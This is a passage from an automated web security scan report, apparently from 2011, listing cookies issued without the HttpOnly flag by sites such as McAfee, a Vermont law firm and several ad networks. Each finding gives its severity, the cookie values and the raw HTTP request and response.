
The following cookies were issued by the application and do not have the HttpOnly flag set:

session=1305367992|1305368258; path=/; domain=.mookie1.com
id=2814750682866683; path=/; expires=Thu, 07-Jun-12 10:17:38 GMT; domain=.mookie1.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.18. http://us.mcafee.com/root/basket.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://us.mcafee.com
Path:	/root/basket.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

lUsrCtxSession=%3CUserContext%3E%3CAffID%3E0%3C%2FAffID%3E%3C%2FUserContext%3E%0D%0A; domain=.mcafee.com; path=/
session%5Fdata=%3CSessionData%3E%3COrganicSearchtraffic%3E1%3C%2FOrganicSearchtraffic%3E%3Cwt%5Fsource%5Fcid%3E86873%3C%2Fwt%5Fsource%5Fcid%3E%3Cwt%5Fdestination%5Fcid%3E86873%3C%2Fwt%5Fdestination%5Fcid%3E%3C%2FSessionData%3E%0D%0A; domain=.mcafee.com; path=/
ASPSESSIONIDSQSTDDDB=ICNPMKKBFEKLBDEJHOFNPLFL; path=/
lBounceURL=http%3A%2F%2Fus%2Emcafee%2Ecom%2Froot%2Fbasket%2Easp%3Faffid%3D0%26langid%3D1%26cid%3D86873; domain=.mcafee.com; path=/
Locale=en%2Dus; expires=Mon, 14-May-2012 07:00:00 GMT; domain=.mcafee.com; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.19. http://us.mcafee.com/root/offer.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://us.mcafee.com
Path:	/root/offer.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

session%5Fdata=%3CSessionData%3E%3COrganicSearchtraffic%3E1%3C%2FOrganicSearchtraffic%3E%3Cwt%5Fsource%5Fcid%3E86873%3C%2Fwt%5Fsource%5Fcid%3E%3Cwt%5Fdestination%5Fcid%3E86873%3C%2Fwt%5Fdestination%5Fcid%3E%3C%2FSessionData%3E%0D%0A; domain=.mcafee.com; path=/
lUsrCtxSession=%3CUserContext%3E%3CAffID%3E0%3C%2FAffID%3E%3C%2FUserContext%3E%0D%0A; domain=.mcafee.com; path=/
ASPSESSIONIDQQTSCBAD=EEHHNKKBEJKPNNHJMEJIFCFO; path=/
Locale=en%2Dus; expires=Mon, 14-May-2012 07:00:00 GMT; domain=.mcafee.com; path=/
campaignid=86873; domain=.mcafee.com; path=/
lBounceURL=http%3A%2F%2Fus%2Emcafee%2Ecom%2Froot%2Foffer%2Easp%3Fid%3D266730%26cid%3D86873; domain=.mcafee.com; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.20. http://www.dinse.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.dinse.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PHPSESSID=2c27921b5d643a19418e2b71919dba6f; path=/
LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:06 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:07 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Set-Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:06 GMT; path=/
Content-Type: text/html; charset=iso-8859-1
Content-Length: 32293

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - Burlington, Vermont Law Firm</title>
<meta http-equ
...[SNIP]...

15.21. http://www.fanpeeps.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.fanpeeps.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=b7fb2a76adb05c852cf655ff55146abc; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.4.10.1305376380

Response

15.22. http://ad.doubleclick.net/activity previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/activity

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

id=220fa4a1190100cf||t=1305367760|et=730|cs=ozvzrdio; expires=Mon, 13-May-2013 10:09:20 GMT; path=/; domain=.doubleclick.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 14 May 2011 10:09:20 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Content-Type: image/gif
Set-Cookie: id=220fa4a1190100cf||t=1305367760|et=730|cs=ozvzrdio; expires=Mon, 13-May-2013 10:09:20 GMT; path=/; domain=.doubleclick.net
Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; Max-Age=0; expires=Mon, 21-July-2008 23:59:00 GMT
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 42
X-XSS-Protection: 1; mode=block

GIF89a.............!.......,...........D.;

15.23. http://ad.doubleclick.net/activity previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/activity

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 14 May 2011 10:24:13 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.24. http://ad.doubleclick.net/adi/interactive.wsj.com/weekend previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/weekend

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 14 May 2011 10:24:13 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.25. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3069166 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.wsod.com
Path:	/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3069166

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

u=4dce55b134194; expires=Tue, 14-Jun-2011 10:13:05 GMT; path=/
i_1=30:1364:1141:157:0:42215:1305367985:B2; expires=Tue, 14-Jun-2011 10:13:05 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3069166 HTTP/1.1
Host: ad.wsod.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage;pos=2;u=%5e%5e;sz=288x40;tile=11;ord=1820011674?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Server: nginx/0.6.39
Date: Sat, 14 May 2011 10:13:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Set-Cookie: u=4dce55b134194; expires=Tue, 14-Jun-2011 10:13:05 GMT; path=/
Set-Cookie: i_1=30:1364:1141:157:0:42215:1305367985:B2; expires=Tue, 14-Jun-2011 10:13:05 GMT; path=/
Location: http://admedia.wsod.com/media/8bec9b10877d5d7fd7c0fb6e6a631357/170x40_Scottrade.png
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Length: 0

15.26. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3140697 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.wsod.com
Path:	/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3140697

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

u=4dce55b134194; expires=Tue, 14-Jun-2011 10:14:16 GMT; path=/
i_1=30:1364:1140:157:0:42215:1305368056:B2|30:1364:1141:157:0:42215:1305367985:B2; expires=Tue, 14-Jun-2011 10:14:16 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3140697 HTTP/1.1
Host: ad.wsod.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=2;u=%5e%5e;biz=1053;sz=288x40;tile=11;ord=1848543519?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: u=4dce55b134194; i_1=30:1364:1141:157:0:42215:1305367985:B2

Response

HTTP/1.1 302 Found
Server: nginx/0.6.39
Date: Sat, 14 May 2011 10:14:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Set-Cookie: u=4dce55b134194; expires=Tue, 14-Jun-2011 10:14:16 GMT; path=/
Set-Cookie: i_1=30:1364:1140:157:0:42215:1305368056:B2|30:1364:1141:157:0:42215:1305367985:B2; expires=Tue, 14-Jun-2011 10:14:16 GMT; path=/
Location: http://admedia.wsod.com/media/8bec9b10877d5d7fd7c0fb6e6a631357/170x40_ST-$7.png
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Length: 0

15.27. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3178619 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.wsod.com
Path:	/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3178619

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

u=4dce55b134194; expires=Tue, 14-Jun-2011 10:14:54 GMT; path=/
i_1=30:1364:820:157:0:42215:1305368094:B2|30:1364:1140:157:0:42215:1305368056:B2|30:1364:1141:157:0:42215:1305367985:B2; expires=Tue, 14-Jun-2011 10:14:54 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3178619 HTTP/1.1
Host: ad.wsod.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe;pos=2;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=11;ord=1531063701?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: u=4dce55b134194; i_1=30:1364:1140:157:0:42215:1305368056:B2|30:1364:1141:157:0:42215:1305367985:B2

Response

HTTP/1.1 302 Found
Server: nginx/0.6.39
Date: Sat, 14 May 2011 10:14:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Set-Cookie: u=4dce55b134194; expires=Tue, 14-Jun-2011 10:14:54 GMT; path=/
Set-Cookie: i_1=30:1364:820:157:0:42215:1305368094:B2|30:1364:1140:157:0:42215:1305368056:B2|30:1364:1141:157:0:42215:1305367985:B2; expires=Tue, 14-Jun-2011 10:14:54 GMT; path=/
Location: http://admedia.wsod.com/media/8bec9b10877d5d7fd7c0fb6e6a631357/170x40_7-online_ad.gif
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Length: 0

15.28. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3266447 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.wsod.com
Path:	/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3266447

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

u=4dce55b134194; expires=Tue, 14-Jun-2011 10:16:22 GMT; path=/
i_1=30:1364:1140:157:0:42215:1305368182:B2|30:1364:820:157:0:42215:1305368094:B2|30:1364:1140:157:0:42215:1305368056:B2; expires=Tue, 14-Jun-2011 10:16:22 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3266447 HTTP/1.1
Host: ad.wsod.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story;pos=2;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=11;ord=1015591673?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: u=4dce55b134194; i_1=30:1364:820:157:0:42215:1305368094:B2|30:1364:1140:157:0:42215:1305368056:B2|30:1364:1141:157:0:42215:1305367985:B2

Response

HTTP/1.1 302 Found
Server: nginx/0.6.39
Date: Sat, 14 May 2011 10:16:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Set-Cookie: u=4dce55b134194; expires=Tue, 14-Jun-2011 10:16:22 GMT; path=/
Set-Cookie: i_1=30:1364:1140:157:0:42215:1305368182:B2|30:1364:820:157:0:42215:1305368094:B2|30:1364:1140:157:0:42215:1305368056:B2; expires=Tue, 14-Jun-2011 10:16:22 GMT; path=/
Location: http://admedia.wsod.com/media/8bec9b10877d5d7fd7c0fb6e6a631357/170x40_ST-$7.png
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Length: 0

15.29. http://ad.yieldmanager.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.yieldmanager.com
Path:	/pixel

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bh="b!!!!#!!t^6!!!!#=!ThI"; path=/; expires=Mon, 13-May-2013 10:15:57 GMT
uid=uid=28e571f8-7e13-11e0-bf0c-6f0f689ccc69&_hmacv=1&_salt=1119311488&_keyid=k1&_hmac=b97337704329f45b76c4a7d0b0bf791eac6a5e54; path=/; expires=Mon, 13-Jun-2011 10:15:57 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pixel?id=575639&t=2 HTTP/1.1
Host: ad.yieldmanager.com
Proxy-Connection: keep-alive
Referer: http://www.fins.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 14 May 2011 10:15:57 GMT
Server: YTS/1.18.4
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: bh="b!!!!#!!t^6!!!!#=!ThI"; path=/; expires=Mon, 13-May-2013 10:15:57 GMT
Set-Cookie: uid=uid=28e571f8-7e13-11e0-bf0c-6f0f689ccc69&_hmacv=1&_salt=1119311488&_keyid=k1&_hmac=b97337704329f45b76c4a7d0b0bf791eac6a5e54; path=/; expires=Mon, 13-Jun-2011 10:15:57 GMT
Location: http://pix04.revsci.net/I10981/b3/0/3/noscript.gif?D=DM_LOC%3Dhttp%253A%252F%252Frevsci.net%253Frtid%253D10063
Cache-Control: no-store
Last-Modified: Sat, 14 May 2011 10:15:57 GMT
Pragma: no-cache
Content-Length: 0
Age: 0
Proxy-Connection: close

15.30. http://ads.revsci.net/adserver/ako previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.revsci.net
Path:	/adserver/ako

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsiPus_lxBU="MLs3rN9osF9jICHSLgo5pRSTvJ6MCzfYkImKXmS18uM+t+aoa/3rLD3wbDBsYe61NFg2FvspznVg4dFqbw5Xw+7Ia3rTq/vDkqvPDPm6TVXYpufF88ECzC1G7bfBubKfBoUQKfBXueLY0GFmYf1k4UpMFIaGWWGitnJRIntFdyR1DgKiK9qkypYwwgnilhaTjXaMr1ya"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
rsi_us_1000000="pUMd5U+g/xMULsTCq+k7bfIrtGPDru2pemhpLctIKvzhkSKV0nyII6ibME3mNVOFK2gTVhjO08GFxeIWlyNS9XhW4dujhzvFfcboLil/B0JWCZC2yrkxY/GHFdRiwGzveYLZ33NsbQrMpRKVhO8MlHWzAYxVbvialUI9SAdNA6me0xsb+qLPPZEL8NhIxFSgdTHwTMMfo+0w6JwjcScN/to+at6Y6daH9HB/cDZ/o98fEAj7dyBQuxvsKPheZE4ZRTsZ5GM46ku1NbcnEUP8TGo13HFUgnUboZPDNL99EmEl8hczU/Mg6UfgxLB3JdW0nNEDXDtqrO4n/za2I7jNWBI7idLQ4+81O/nmwUVNrHi6t/9nH8QWVeLAruahYnsRXz4vvRuXYkMx/Dvb/2CvFIcuq7V2hETZp5J6YCvE58dF/CvIx1uYrL21aQuP8RaU6qO+Ua6vbhWT2YQixZ/jrAHcq2CgBIQd08q0l67uLksQ+whsqIznkAgoGRX6mnIegPijZ3yv/KVDP4ZmT6T4mPaFKMLUVQbf9NlawNeqKKX5hic8YcGnPrgXbnH3i2TlLxueKaUhWHM82GbaBVaVdqnDERFVAc2VygEVNyTm3pY7+3Zio6XOGtVU0r2zR5gzec2M8ylZabivhYvbexEuDIhRyFWeC1do5P+w1inpP/3+o0hPp+JmToEdccB87yeyBOUX/icxvQZ6nvYFNcMHLfmtVyKT7C/TZTIjdUNFy7TQRsI="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.31. http://ads.revsci.net/adserver/ako previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.revsci.net
Path:	/adserver/ako

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsiPus_v781="MLs3rE9rsF9nIDFwD3M7i+wbiZ6ajwvf8MSYXrx0Kiemb8Kl+RVsB6B3dRi5/D7t2K9EwE3JtaWpSRlJ/PR1l7ekt4P4xpxdUszP179Kw5euIauhERvdtOZCP7sRDT0WPBi3xxbsO6SAxHTpegxwTRv/WCZPJJ7vtZZzydHs1hlDgOgtwH9MVw4TKeciRUZlYP3OkkHM1WY2akAO"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
rsi_us_1000000="pUMdJc2g/wMU1A3nO43AqZEO9TXBfSNuMTpCc3U9VKfB88KeFE8sQHMdBHyVYVk2MBtHyphI1d89vppu7+ETNPtsBTpCYz+ABsToLgv7FJ5d7HXtY/2BAO0lNxWr+2/fi4lIn6IYaaWHphdnDCHeoBon8SFh9+T2YWgKWpw5k3aOyc9VRy6cM836+lAJEf7HeNGC3y+albmDCYhFjXm6pPu8K1up235pgIU6/FioqL2DJ9ghidrqumGrB4RerG+7JILwZCKRO/UHiuwJ7VoMkBqEEHqS0NWHjhJgzYbnOdDpw1ZQf0IlCejyskC4TDxsclNnypwUWwG3LyvwufXJndeRyn9Pje5XT4P/OylUad+7dW1zRwUaAD4WppPQweIkywTQSi+jk03Zx9mSZdHgAexe9O4QzeFoh5dKxqTvJhoUa85z2Hscvb4MisLqCDKdHosKGeaftg4EZv+mVD9RzlcsQprft5KcyHRXXCTZ2afGJ8gTwIDXmq4V0eJMGyWOd15NlmmBVesIvDOmledBb51+UUyqVVaIX93X3LvxAQO6ibewU08ZvO6Sx3R4ci0wNog8ueIHlSyh6271M6KI1ZPBAwl4HO3okCe8Oxancynjc8PmizfI5sTWoLwj0WU/2l8XAhoPA6Jmh+db00CYcE2bG5U809QN+qktN98ZM9ad4NZsYx+cg9y2j+jRETArPApKGIhyh/lNO5eoFjrL2zNSQ0HxW+vzTtZZ+YV4yn0S7ARelgnH8KQ="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: rsi_us_1000000=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver
Set-Cookie: rsiPus_Sq60=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver
Set-Cookie: rsi_us_1000000=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsiPus_Sq60=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsiPus_v781="MLs3rE9rsF9nIDFwD3M7i+wbiZ6ajwvf8MSYXrx0Kiemb8Kl+RVsB6B3dRi5/D7t2K9EwE3JtaWpSRlJ/PR1l7ekt4P4xpxdUszP179Kw5euIauhERvdtOZCP7sRDT0WPBi3xxbsO6SAxHTpegxwTRv/WCZPJJ7vtZZzydHs1hlDgOgtwH9MVw4TKeciRUZlYP3OkkHM1WY2akAO"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
Set-Cookie: rsi_us_1000000="pUMdJc2g/wMU1A3nO43AqZEO9TXBfSNuMTpCc3U9VKfB88KeFE8sQHMdBHyVYVk2MBtHyphI1d89vppu7+ETNPtsBTpCYz+ABsToLgv7FJ5d7HXtY/2BAO0lNxWr+2/fi4lIn6IYaaWHphdnDCHeoBon8SFh9+T2YWgKWpw5k3aOyc9VRy6cM836+lAJEf7HeNGC3y+albmDCYhFjXm6pPu8K1up235pgIU6/FioqL2DJ9ghidrqumGrB4RerG+7JILwZCKRO/UHiuwJ7VoMkBqEEHqS0NWHjhJgzYbnOdDpw1ZQf0IlCejyskC4TDxsclNnypwUWwG3LyvwufXJndeRyn9Pje5XT4P/OylUad+7dW1zRwUaAD4WppPQweIkywTQSi+jk03Zx9mSZdHgAexe9O4QzeFoh5dKxqTvJhoUa85z2Hscvb4MisLqCDKdHosKGeaftg4EZv+mVD9RzlcsQprft5KcyHRXXCTZ2afGJ8gTwIDXmq4V0eJMGyWOd15NlmmBVesIvDOmledBb51+UUyqVVaIX93X3LvxAQO6ibewU08ZvO6Sx3R4ci0wNog8ueIHlSyh6271M6KI1ZPBAwl4HO3okCe8Oxancynjc8PmizfI5sTWoLwj0WU/2l8XAhoPA6Jmh+db00CYcE2bG5U809QN+qktN98ZM9ad4NZsYx+cg9y2j+jRETArPApKGIhyh/lNO5eoFjrL2zNSQ0HxW+vzTtZZ+YV4yn0S7ARelgnH8KQ="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
Location: http://ad.yieldmanager.com/pixel?id=575639&t=2
Content-Length: 0
Date: Sat, 14 May 2011 10:20:16 GMT

15.32. http://ads.revsci.net/adserver/ako previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.revsci.net
Path:	/adserver/ako

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsiPus_-wAA="MLs3rE9rsF9nIDFgVbsxTUeBqbq+q3/4pBwYHDWGKVMsYcYNvuT3GGFCbydzxZtZdBcK/u1QXh2RAX9NdlbHtkt0dNY2cJqPqIWdptqs3944GZG1wCDw0lGVw01n6FHh24rSXWAHI25V0bg+U2hq4mH9Y8+twEF/rTaIuhgkE8dy1dSheS1qAUheQSbhzNVIUeUFlgvS3mgiHEDy"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyb9SBXyVoU4GWdcWu5pSz6fdUHuPDqhT9nhW4dujhzvFfV8niMvv5wYigD3ORegGA22VNfTqx+eg0nx/+pQOAsaJyKRS+poUGKbNIvwoXRZmYpofEgkguVhwym9t+18gaeisd+U+3OU6u7dY9YjdOoiiWJaGoH6f9a4A1C4p2EEWy5sZfyRMdL0yFQj/dyBQu5vuXFSGDP6a7bkmRyCgADITF/jAjzjjQtMzlUn/2XsHoROnrHd8ZmZ9wL3Fki/IapXgtDs1LVN1w7zrNCJsrjtaRPi5Ua4BX64gN+bW4e81O/nkwEVNrLi7N/hvD+RWReLAquahYnsRX74veIcsqhV/Bj2zlvLoF1DGrF5wBE0ww7xsPyIujq7i83N9YLY7B9QJGrroEZUJ3uumTkIbTH2sgG0zIXvrW2PHzHWqe6CrBhdqwWRPDDQfvgetE+CzmWL7BCrGA9li8TibAzk6Id/6amaeS+uQBkhBNT3QVSZlFmlU3jPA4wQY8xqU4t8H4OJgek0KBFC2I/y3jRPh6shP15VAi2hmOVxyPvYRJqfdsJhwCYkdHvJgn3euqlVqx8Z7eWUW35ZUIWyn+qifsSnOxS8BRx319mlAL9a2eyEtvQkI4xGm7dXPookE+6fdAJ07KGbimojO0JtNKaR8QCZNXIHgqrnbaf0boabxSH2IHspDo80RXAPXDSkg+L4R8Vw="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adserver/ako?rsi_noads=1&rsi_pixel=1&rsi_account=81FF890715F2DC971C61B9EF71316E6E&rsi_site=4B79D8342E28850964F3F8156E7E66BA&rsi_event=254B2CDA70174134A2FB20B708ED4289 HTTP/1.1
Host: ads.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.fins.com/Tour.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
